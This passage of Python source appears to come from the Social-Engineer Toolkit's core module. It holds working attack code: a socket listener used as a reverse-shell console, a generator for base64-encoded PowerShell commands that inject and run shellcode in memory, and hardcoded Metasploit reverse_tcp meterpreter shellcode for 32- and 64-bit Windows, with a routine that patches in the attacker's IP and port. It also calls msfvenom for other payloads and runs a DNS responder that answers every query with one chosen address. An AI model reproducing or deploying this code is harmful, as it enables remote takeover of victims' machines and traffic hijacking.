[0-9a-f]{0,4} # A group of at most four hexadecimal digits
(?:(?<=::)|(?<!::):) # Colon unless preceeded by wildcard
){6} #
(?: # Either
[0-9a-f]{0,4} # Another group
(?:(?<=::)|(?<!::):) # Colon unless preceeded by wildcard
[0-9a-f]{0,4} # Last group
(?: (?<=::) # Colon iff preceeded by exacly one colon
| (?<!:) #
| (?<=:) (?<!::) : #
) # OR
| # A v4 address with NO leading zeros
(?:25[0-4]|2[0-4]\d|1\d\d|[1-9]?\d)
(?: \.
(?:25[0-4]|2[0-4]\d|1\d\d|[1-9]?\d)
){3}
)
\s* # Trailing whitespace
$
""", re.VERBOSE | re.IGNORECASE | re.DOTALL)
return pattern.match(ip) is not None
# kill certain processes
def kill_proc(port,flag):
proc=subprocess.Popen("netstat -antp | grep '%s'" % (port), shell=True, stdout=subprocess.PIPE)
stdout_value=proc.communicate()[0]
a=re.search("\d+/%s" % (flag), stdout_value)
if a:
b=a.group()
b=b.replace("/%s" % (flag),"")
subprocess.Popen("kill -9 %s" % (b), stdout=subprocess.PIPE, stderr=subprocess.PIPE, shell=True).wait()
# check the config file and return value
def check_config(param):
fileopen = file("%s/config/set_config" % (definepath), "r")
for line in fileopen:
# if the line starts with the param we want then we are set, otherwise if it starts with a # then ignore
if line.startswith(param) != "#":
if line.startswith(param):
line = line.rstrip()
# remove any quotes or single quotes
line = line.replace('"', "")
line = line.replace("'", "")
line = line.split("=")
return line[1]
# copy files from directory
def copyfolder(sourcePath, destPath):
for root, dirs, files in os.walk(sourcePath):
#figure out where we're going
dest = destPath + root.replace(sourcePath, '')
#if we're in a directory that doesn't exist in the destination folder
#then create a new folder
if not os.path.isdir(dest):
os.mkdir(dest)
#print('Directory created at: ' + dest)
#loop through all files in the directory
for f in files:
#compute current (old) & new file locations
oldLoc = root + '/' + f
newLoc = dest + '/' + f
if not os.path.isfile(newLoc):
try:
shutil.copy2(oldLoc, newLoc)
except IOError:
pass
# this routine will be used to check config options within the set.options
def check_options(option):
# open the directory
trigger = 0
fileopen = file("%s/src/program_junk/set.options" % (definepath), "r").readlines()
for line in fileopen:
match = re.search(option, line)
if match:
line = line.rstrip()
line = line.replace('"', "")
line = line.split("=")
return line[1]
trigger = 1
if trigger == 0: return trigger
# future home to update one localized set configuration file
def update_options(option):
# if the file isn't there write a blank file
if not os.path.isfile("%s/src/program_junk/set.options" % (definepath)):
filewrite = file("%s/src/program_junk/set.options" % (definepath), "w")
filewrite.write("")
filewrite.close()
# remove old options
fileopen = file("%s/src/program_junk/set.options" % (definepath), "r")
old_options = ""
for line in fileopen:
match = re.search(option, line)
if match:
line = ""
old_options = old_options + line
# append to file
filewrite = file("%s/src/program_junk/set.options" % (definepath), "w")
filewrite.write(old_options + "\n" + option + "\n")
filewrite.close()
# python socket listener
def socket_listener(port):
port = int(port) # needed integer for port
host = '' # Symbolic name meaning the local host
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# set is so that when we cancel out we can reuse port
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((host, port))
print "Listening on 0.0.0.0:%s" % str(port)
# listen for only 1000 connection
s.listen(1000)
conn, addr = s.accept()
print 'Connected by', addr
data = conn.recv(1024)
# start loop
while 1:
command = raw_input("Enter shell command or quit: ")
conn.send(command)
# if we specify quit then break out of loop and close socket
if command == "quit": break
data = conn.recv(1024)
print data
conn.close()
# generates powershell payload
def generate_powershell_alphanumeric_payload(payload,ipaddr,port, payload2):
# generate our shellcode first
shellcode = metasploit_shellcode(payload, ipaddr, port)
shellcode = shellcode_replace(ipaddr, port, shellcode)
shellcode = shellcode.rstrip()
# sub in \x for 0x
shellcode = re.sub("\\\\x", "0x", shellcode)
# base counter
counter = 0
# count every four characters then trigger mesh and write out data
mesh = ""
# ultimate string
newdata = ""
for line in shellcode:
mesh = mesh + line
counter = counter + 1
if counter == 4:
newdata = newdata + mesh + ","
mesh = ""
counter = 0
# heres our shellcode prepped and ready to go
shellcode = newdata[:-1]
# powershell command here, needs to be unicoded then base64 in order to use encodedcommand
powershell_command = ('''$code = '[DllImport("kernel32.dll")]public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);[DllImport("kernel32.dll")]public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);[DllImport("msvcrt.dll")]public static extern IntPtr memset(IntPtr dest, uint src, uint count);';$winFunc = Add-Type -memberDefinition $code -Name "Win32" -namespace Win32Functions -passthru;[Byte[]];[Byte[]]$sc64 = %s;[Byte[]]$sc = $sc64;$size = 0x1000;if ($sc.Length -gt 0x1000) {$size = $sc.Length};$x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40);for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)};$winFunc::CreateThread(0,0,$x,0,0,0);for (;;) { Start-sleep 60 };''' % (shellcode))
return base64.b64encode(powershell_command.encode('utf_16_le'))
# generate base shellcode
def generate_shellcode(payload,ipaddr,port):
msf_path = meta_path()
# generate payload
port = port.replace("LPORT=", "")
proc = subprocess.Popen("%smsfvenom -p %s LHOST=%s LPORT=%s c" % (msf_path,payload,ipaddr,port), stdout=subprocess.PIPE, shell=True)
data = proc.communicate()[0]
# start to format this a bit to get it ready
data = data.replace(";", "")
data = data.replace(" ", "")
data = data.replace("+", "")
data = data.replace('"', "")
data = data.replace("\n", "")
data = data.replace("buf=", "")
data = data.rstrip()
# return data
return data
# this will take input for shellcode and do a replace for IP addresses
def shellcode_replace(ipaddr, port, shellcode):
# split up the ip address
ip = ipaddr.split('.')
# join the ipaddress into hex value spaces still in tact
ipaddr = ' '.join((hex(int(i))[2:] for i in ip))
# We use a default 255.254.253.252 on all shellcode then replace
# 255.254.253.252 --> hex --> ff fe fd fc
# 443 = '0x1bb'
if port != "443":
port = hex(int(port))
# hack job in order to get ports into right format
# if we are only using three numbers then you have to flux in a zero
if len(port) == 5:
port = port.replace("0x", "\\x0")
else:
port = port.replace("0x", "\\x")
# here we break the counters down a bit to get the port into the right format
counter = 0
new_port = ""
for a in port:
if counter < 4:
new_port += a
if counter == 4:
new_port += "\\x" + a
counter = 0
counter = counter + 1
# redefine the port in hex here
port = new_port
#ipaddr = "\\x" + ipaddr
ipaddr = ipaddr.split(" ")
first = ipaddr[0]
# split these up to make sure its in the right format
if len(first) == 1:
first = "0" + first
second = ipaddr[1]
if len(second) == 1:
second = "0" + second
third = ipaddr[2]
if len(third) == 1:
third = "0" + third
fourth = ipaddr[3]
if len(fourth) == 1:
fourth = "0" + fourth
# put the ipaddress into the right format
ipaddr = "\\x%s\\x%s\\x%s\\x%s" % (first,second,third,fourth)
shellcode = shellcode.replace(r"\xff\xfe\xfd\xfc", ipaddr)
if port != "443":
# getting everything into the right format
if len(port) > 4:
port = "\\x00" + port
# if we are using a low number like 21, 23, etc.
if len(port) == 4:
port = "\\x00\\x00" + port
shellcode = shellcode.replace(r"\x00\x01\xbb", port)
# return shellcode
return shellcode
# exit routine
def exit_set():
cleanup_routine()
print "\n\n Thank you for " + bcolors.RED+"shopping" + bcolors.ENDC+" with the Social-Engineer Toolkit.\n\n Hack the Gibson...and remember...hugs are worth more than handshakes.\n"
sys.exit()
# these are payloads that are callable
def metasploit_shellcode(payload, ipaddr, port):
# if we are using reverse meterpreter tcp
if payload == "windows/meterpreter/reverse_tcp":
shellcode = r"\xfc\xe8\x89\x00\x00\x00\x60\x89\xe5\x31\xd2\x64\x8b\x52\x30\x8b\x52\x0c\x8b\x52\x14\x8b\x72\x28\x0f\xb7\x4a\x26\x31\xff\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\xc1\xcf\x0d\x01\xc7\xe2\xf0\x52\x57\x8b\x52\x10\x8b\x42\x3c\x01\xd0\x8b\x40\x78\x85\xc0\x74\x4a\x01\xd0\x50\x8b\x48\x18\x8b\x58\x20\x01\xd3\xe3\x3c\x49\x8b\x34\x8b\x01\xd6\x31\xff\x31\xc0\xac\xc1\xcf\x0d\x01\xc7\x38\xe0\x75\xf4\x03\x7d\xf8\x3b\x7d\x24\x75\xe2\x58\x8b\x58\x24\x01\xd3\x66\x8b\x0c\x4b\x8b\x58\x1c\x01\xd3\x8b\x04\x8b\x01\xd0\x89\x44\x24\x24\x5b\x5b\x61\x59\x5a\x51\xff\xe0\x58\x5f\x5a\x8b\x12\xeb\x86\x5d\x68\x33\x32\x00\x00\x68\x77\x73\x32\x5f\x54\x68\x4c\x77\x26\x07\xff\xd5\xb8\x90\x01\x00\x00\x29\xc4\x54\x50\x68\x29\x80\x6b\x00\xff\xd5\x50\x50\x50\x50\x40\x50\x40\x50\x68\xea\x0f\xdf\xe0\xff\xd5\x97\x6a\x05\x68\xff\xfe\xfd\xfc\x68\x02\x00\x01\xbb\x89\xe6\x6a\x10\x56\x57\x68\x99\xa5\x74\x61\xff\xd5\x85\xc0\x74\x0c\xff\x4e\x08\x75\xec\x68\xf0\xb5\xa2\x56\xff\xd5\x6a\x00\x6a\x04\x56\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x8b\x36\x6a\x40\x68\x00\x10\x00\x00\x56\x6a\x00\x68\x58\xa4\x53\xe5\xff\xd5\x93\x53\x6a\x00\x56\x53\x57\x68\x02\xd9\xc8\x5f\xff\xd5\x01\xc3\x29\xc6\x85\xf6\x75\xec\xc3"
# reverse https requires generation through msfvenom
if payload == "windows/meterpreter/reverse_https":
print_status("Reverse_HTTPS takes a few seconds to calculate..One moment..")
shellcode = generate_shellcode(payload, ipaddr, port)
# reverse http requires generation through msfvenom
if payload == "windows/meterpreter/reverse_http":
print_status("Reverse_HTTP takes a few seconds to calculate..One moment..")
shellcode = generate_shellcode(payload, ipaddr, port)
# allports requires generation through msfvenom
if payload == "windows/meterpreter/reverse_tcp_allports":
print_status("Reverse TCP Allports takes a few seconds to calculate..One moment..")
shellcode = generate_shellcode(payload, ipaddr, port)
# reverse tcp needs to be rewritten for shellcode, will do later
if payload == "windows/shell/reverse_tcp":
print_status("Reverse Shell takes a few seconds to calculate..One moment..")
shellcode = generate_shellcode(payload, ipaddr, port)
# reverse meterpreter tcp
if payload == "windows/x64/meterpreter/reverse_tcp":
shellcode = r"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5\x49\xbc\x02\x00\x00\x16\xff\xfe\xfd\xfc\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x48\x83\xec\x10\x48\x89\xe2\x4d\x31\xc9\x6a\x04\x41\x58\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x48\x83\xc4\x20\x5e\x6a\x40\x41\x59\x68\x00\x10\x00\x00\x41\x58\x48\x89\xf2\x48\x31\xc9\x41\xba\x58\xa4\x53\xe5\xff\xd5\x48\x89\xc3\x49\x89\xc7\x4d\x31\xc9\x49\x89\xf0\x48\x89\xda\x48\x89\xf9\x41\xba\x02\xd9\xc8\x5f\xff\xd5\x48\x01\xc3\x48\x29\xc6\x48\x85\xf6\x75\xe1\x41\xff\xe7"
return shellcode
# here we encrypt via aes, will return encrypted string based on secret key which is random
def encryptAES(secret, data):
# the character used for padding--with a block cipher such as AES, the value
# you encrypt must be a multiple of BLOCK_SIZE in length. This character is
# used to ensure that your value is always a multiple of BLOCK_SIZE
PADDING = '{'
BLOCK_SIZE = 32
# one-liner to sufficiently pad the text to be encrypted
pad = lambda s: s + (BLOCK_SIZE - len(s) % BLOCK_SIZE) * PADDING
# random value here to randomize builds
a = 50 * 5
# one-liners to encrypt/encode and decrypt/decode a string
# encrypt with AES, encode with base64
EncodeAES = lambda c, s: base64.b64encode(c.encrypt(pad(s)))
DecodeAES = lambda c, e: c.decrypt(base64.b64decode(e)).rstrip(PADDING)
#secret = os.urandom(BLOCK_SIZE)
cipher = AES.new(secret)
aes = EncodeAES(cipher, data)
return str(aes)
# compare ports to make sure its not already in a config file for metasploit
def check_ports(filename, port):
fileopen = file(filename, "r")
data = fileopen.read()
match = re.search("LPORT " + port, data)
if match:
return True
else:
return False
# main dns class
class DNSQuery:
def __init__(self, data):
self.data=data
self.dominio=''
tipo = (ord(data[2]) >> 3) & 15 # Opcode bits
if tipo == 0: # Standard query
ini=12
lon=ord(data[ini])
while lon != 0:
self.dominio+=data[ini+1:ini+lon+1]+'.'
ini+=lon+1
lon=ord(data[ini])
def respuesta(self, ip):
packet=''
if self.dominio:
packet+=self.data[:2] + "\x81\x80"
packet+=self.data[4:6] + self.data[4:6] + '\x00\x00\x00\x00' # Questions and Answers Counts
packet+=self.data[12:] # Original Domain Name Question
packet+='\xc0\x0c' # Pointer to domain name
packet+='\x00\x01\x00\x01\x00\x00\x00\x3c\x00\x04' # Response type, ttl and resource data length -> 4 bytes
packet+=str.join('',map(lambda x: chr(int(x)), ip.split('.'))) # 4bytes of IP
return packet
# main dns routine
def dns():
udps = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
udps.bind(('',53))
try:
while 1:
data, addr = udps.recvfrom(1024)
p=DNSQuery(data)
udps.sendto(p.respuesta(ip), addr)
except KeyboardInterrupt:
print "Exiting the DNS Server.."
sys.exit()
udps.close()
# start dns with multiprocessing
def start_dns():
dns_check = check_config("DNS_SERVER=")
if dns_check.lower() == "on":
thread.start_new_thread(dns,())